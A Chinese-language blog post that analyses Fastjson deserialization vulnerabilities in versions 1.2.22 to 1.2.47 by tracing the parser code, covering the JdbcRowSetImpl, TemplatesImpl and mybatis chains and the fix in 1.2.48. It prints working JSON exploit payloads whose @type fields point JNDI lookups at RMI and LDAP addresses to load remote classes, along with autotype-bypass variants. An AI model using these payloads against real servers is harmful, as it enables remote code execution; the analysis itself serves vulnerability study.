java安全之fastjson鏈分析

前段時間有師傅來問了我fastjson的問題,雖然知道大概但沒分析過具體鏈,最近有空了正好分析一下fastjson兩個反序列化洞:

  • 1.2.22<=version<=1.2.24
  • 1.2.25<=version<=1.2.47

簡述與使用

Fastjson是Alibaba開發的Java語言編寫的高性能JSON庫,用於將數據在JSON和Java Object之間互相轉換,提供兩個主要接口JSON.toJSONString和JSON.parseObject/JSON.parse來分別實現序列化和反序列化操作。

本文涉及相關實驗:Fastjson反序列化漏洞) (fastjson於1.2.24版本後增加了反序列化白名單,而在1.2.48以前的版本中,攻擊者可以利用特殊構造的json字符串繞過白名單檢測,成功執行任意命令。)

項目地址:https://github.com/alibaba/fastjson

環境直接maven:

  <dependencies>
    ....
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.22</version>
    </dependency>
  </dependencies>

首先是關於fastjson的序列化與反序列化過程中會調用到類的get跟set方法,一個自建類:

package org.example;

public class JsonTest {
    private int _id;
    private String _name;
    private String _passwd;

    public JsonTest(int _id, String _name, String _passwd) {
        this._id = _id;
        this._name = _name;
        this._passwd = _passwd;
    }

    public JsonTest() {
    }

    public int get_id() {
        System.out.println("get "+_id);
        return _id;
    }

    public void set_id(int _id) {
        System.out.println("set "+_id);
        this._id = _id;
    }

    public String get_name() {
        System.out.println("get "+_name);
        return _name;
    }

    public void set_name(String _name) {
        System.out.println("set "+_name);
        this._name = _name;
    }

    public String get_passwd() {
        System.out.println("get "+_passwd);
        return _passwd;
    }

    public void set_passwd(String _passwd) {
        System.out.println("set "+_passwd);
        this._passwd = _passwd;
    }

    @Override
    public String toString() {
        return "JsonTest{" +
                "_id=" + _id +
                ", _name='" + _name + '\'' +
                ", _passwd='" + _passwd + '\'' +
                '}';
    }
}

Main:

public static void main(String[] args) {
  JsonTest jsonTest = new JsonTest(1,"uname","passwd");
  System.out.println("[1]================");
  String str = JSON.toJSONString(jsonTest);
  System.out.println("[2]================");
  System.out.println(str);
  System.out.println("[3]================");
  Object jsonTest1 = JSON.parseObject(str,JsonTest.class);
  System.out.println("[4]================");
  System.out.println(jsonTest1);

}

運行後得到了如下結果:

[1]================
get 1
get uname
get passwd
[2]================
{"id":1,"name":"uname","passwd":"passwd"}
[3]================
set 1
set uname
set passwd
[4]================
JsonTest{_id=1, _name='uname', _passwd='passwd'}

很明顯的在序列化時會調用類中各屬性的get方法,而反序列化時會調用其set方法。

在上述反序列化過程中需要多添加一個class類的參數:JsonTest.class

而fastjson也提供了一種無需指定類的方式,稱爲autotype,而這種autotype正是導致反序列化漏洞的原因。

給序列化過程的函數指定第二個參數:

JSON.toJSONString(jsonTest,SerializerFeature.WriteClassName);

此時能夠得到一個指定了type的json串:

{"@type":"org.example.JsonTest","id":1,"name":"uname","passwd":"passwd"}

再對其反序列化時就無需再指定對應的類了:

Object jsonTest1 = JSON.parseObject(str);
System.out.println(jsonTest1);

當未對@type字段進行完全的安全性驗證,攻擊者可以傳入危險類,從而調用危險類對目標機進行攻擊,接下來分析一下其過程。

反序列化過程

先在JSON.parseObject處下個斷點,跟入看看fastjson的反序列化過程。

首先進入到JSON.class中:

img

接着進入parse函數中:

public static Object parse(String text) {
        return parse(text, DEFAULT_PARSER_FEATURE);
    }

使用了默認的解析方式DEFAULT_PARSER_FEATURE去解析我們的json串,繼續跟入:

    public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        } else {
            DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
            Object value = parser.parse();
            parser.handleResovleTask(value);
            parser.close();
            return value;
        }
    }

其構造器中有如下:

       int ch = lexer.getCurrent();
        if (ch == '{') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 12;
        } else if (ch == '[') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 14;
        } else {
            lexer.nextToken();
        }

其會根據對應的{[去設置token,之後通過scanSymbol來獲取到@type,並且autotype它還支持如下形式嵌套的串:

[
    {
        "@type": "xxx.xxx",
        "xxx": "xxx"
    },
    {
        "@type": "xxx.xxx",
        "xxx": {
            "@type": ""
        }
    },
    {
        "@type": "xxx"
    } : "xx",
    {
        "@type": "xxx"
    } : "xx"
]

其中對於字符串的還有如下對於雙字節字符的處理:

img

\u或\x即是unicode或者16進制,而還有其他的如\v等,有師傅做了總結

\0 \1 \2 \3 \4 \5 \6 \7 \b \t \n \r \" \' \/ \\\ 
等,java字符串讀入之後會變成兩個字符,因此,fastjson會把它轉換會單個字符
\f \F雙字符都會轉成單字符\f
\v雙字符轉成\u000B單字符
\x..四字符16進制數讀取轉成單字符
\u....六字符16進制數讀取轉成單字符

這一個點其實可以用在某些filter的繞過上。

繼續上面的scan,獲取到@type後會繼續獲取到其類名,最後賦值給typeName,此時會進一步調用TypeUtils.loadClass去加載類:

img

之後會從mappings中嘗試取出class類(mappings中存放的是一些內置類):

img

如下,取不到後會去使用ClassLoader加載類並且將className和其class類put進mapping中。

img

接着進行反序列化:

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

一路跟去會有一個denyList:img

這一個list默認情況下只有一個Thread類:

this.denyList = new String[]{"java.lang.Thread"};

最後會去調用到set方法。

1.2.22-1.2.24

這個版本下有兩條利用鏈:JdbcRowSetImpl和Templateslmpl,還有一條BasicDataSource,下面逐一分析。

JdbcRowSetImpl

首先該鏈有兩種利用方式:RMI+JNDI和RMI+LDAP

其中我使用到的是jdk8u66,關於高版本的限制以及繞過方式可以參考:

https://www.freebuf.com/column/207439.html

前面說到反序列化會調用到set方法,而漏洞的產生正是因爲set方法,直接拿payload打一下:

public static void main(String[] args) {
  String payload = "
 {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/badClassName\", \"autoCommit\":true}";
  JSON.parse(payload);
}

直接在com.sun.rowset.JdbcRowSetImpl#setDataSourceName中下斷點:

img

直接進入到else中直接將datasource設置爲我們傳入的值,再在setAutoCommit中下個斷點:

img

同樣進入else,關鍵在於這裏的connect調用了lookup:

img

最後就造成了JNDI注入,LDAP同樣如此,修改一下協議即可。

Templateslmpl

前面的鏈就不跟了,體力活,主要是瞭解其原理,具體可以看看:

https://www.cnblogs.com/afanti/p/10193158.html

https://xz.aliyun.com/t/8979#toc-6

payload我參考的是上面第二個鏈接,此處截取部分方便理解:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64 str"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

默認的知道以下劃線開頭是private屬性,通過fastjson其實是無法直接賦值的,需要在parse時設置Feature.SupportNonPublicField強制給private屬性賦值,因此這條鏈實際作用不大,不過分析一下鍛鍊一下代碼審計能力。

首先是對於下劃線的處理,在JavaBeanDeserializer#smartMatch中會處理掉下劃線,之後去調用對應的set方法,bytecodes在最後會進行base64解碼,並且bytecode是binary,fastjson中不支持反序列化此類字符串,因此這也是其爲base64字符串的原因,而對於_outputProperties這一個屬性比較特殊,它調用到的不是set方法而是get方法,因此我着重跟一下它。

因爲在調用set方法時都是經過FieldDeserializer#setValue,因此在此處下個斷點。

img

跟到下面調用到了getOutputProperties方法是通過invoke,之後就執行命令了:

img

但method的來源還需要追究一下。

經過不斷debug能夠在ParserConfig的createJavaBeanDeserializer檢測到sortedFieldDeserializers的變化,而sortedFieldDeserializers正是獲取到getOutputProperties的關鍵:img

在createJavaBeanDeserializer中調用了JavaBeanInfo#build,一路debug能夠發現獲取一個set方法時是通過如下代碼:img

同樣位於build函數下有一段獲取getter的代碼:

img

其中OutputProperties的getter就是從這裏獲取到,不過這還是無法解除關於爲什麼要獲取getter的疑惑,回到前面的FieldDeserializer#setValue,在使用invoke調用getOutputProperties後,得到的是一個Map類,而隨後會對map調用putAll:

Map map = (Map)method.invoke(object);
if (map != null) {
    map.putAll((Map)value);
}

也就說如果一個json串:

{"@type": "xxx.xxx", "hhhm": {"key": "value"}}

會需要將{"key": "value"}放入hhhm中,因此需要先調用get來獲取到這一個map以便於後續的賦值。

跟入getOutputProperties->newTransformer->defineTransletClasses,實例化了bytecodes,然後在:

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

經過一系列調用最後就到了TEMPOC中執行到RCE:

img

BasicDataSource

省賽遇到的一道題才知道原來還有這條鏈,先mark下:

http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/

該鏈只能用於Fastjson 1.2.24及更低版本,使用範圍相較於前兩條鏈而言較小,鏈接處文章寫的也很詳細,不做過多敘述。

1.2.25-1.2.45部分繞過

直接拿着原來的鏈打會發現報錯,發現多了一個ParserConfig.checkAutoType方法,在1.2.25中對DefaultJSONParser#parseObject中的TypeUtils.loadClass進行了修復:

//1.2.24
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
//1.2.25
Class<?> clazz = config.checkAutoType(typeName);

autoTypeSupport默認修改爲false:img

需要通過如下方式開啓:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

並且有一個denylist,來過濾掉前面用到的鏈中的類:

img

部分手動開啓autoType的繞過鏈就不分析了,繞過的點也比較容易看出,具體看https://xz.aliyun.com/t/9052

這部分繞過個人感覺適用於ctf中,不做分析了,下面貼一下payload。

1.2.25-1.2.41

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.43

{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.45

需要目標服務端存在mybatis的jar包,且版本需爲3.x.x系列<3.5.0的版本

payload:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}

1.2.25-1.2.47

這條鏈是通殺的,比較厲害的是其不需要開啓AutoTypeSupport,相對於上面提到的繞過而言利用面廣泛的多,因此着重分析一下。

該鏈在<1.2.32之前,如果開啓了AutoTypeSupport則無法利用,在>1.2.32後五輪是否開啓都可以利用。

payload:

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}

前面提到在checkAutoType中有這麼一個if:

if (this.autoTypeSupport || expectClass != null) 

因爲autoTypeSupport默認爲false,所以if內的代碼都跳過了,而這條鏈的利用也無需這一個if,跟到後面:img

這裏的deserializers.findClass比較關鍵:

img

此處的this.buckets會發現其內置了很多的類,如:

img

那麼問題也就是出在這裏,我們目前傳入的類是java.lang.class,而該類正處於這一個buckets中,而deserializers中有一個put方法,正是這一個方法將類放入白名單中從而避過了autotype的限制。

img

偏一下話題,稍微往前追溯一點能夠找到如下一個初始化deserializers對象的方法:

img

白名單中的類都在此處。

比較好奇的是此處的class類的作用,在對class類進行反序列化時,其調用鏈如下:

deserializer#deserialze
->
TypeUtils#loadClass(strVal,parser.getConfig().getDefaultClassLoader())
//strVal=com.sun.rowset.JdbcRowSetImpl
->
TypeUtils#loadClass(className, classLoader, true)
//className=com.sun.rowset.JdbcRowSetImpl

此處的TypeUtils#loadClass在前面分析1.2.22-1.2.24鏈中提到過,其會嘗試從mappings中取出類:

Class<?> clazz = (Class)mappings.get(className);

在取不到時會調用類加載器去加載類,此時就取到了com.sun.rowset.JdbcRowSetImpl

之後最致命的操作就是:

mappings.put(className, clazz);

com.sun.rowset.JdbcRowSetImpl這一個類放入了mappings中,而在加載b字典中的JdbcRowSetImpl類時,調用到的是:

img

他會直接從mappings中取類,而前面已經將JdbcRowSetImpl放入mappings中,此時達成了繞過autotype關閉的限制。

開發目的應該是爲了程序運行效率,省去每次都需要去重新加載類的麻煩,但卻因爲class在反序列化時會調用loader將其他類裝載進來導致了繞過名單的後果。

而在1.2.48 修復了這一漏洞,將反序列化class對象時的cache設置爲false:

if (cache) {
  mappings.put(className, clazz);
}

此時就不會將class類裝載進緩存中了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章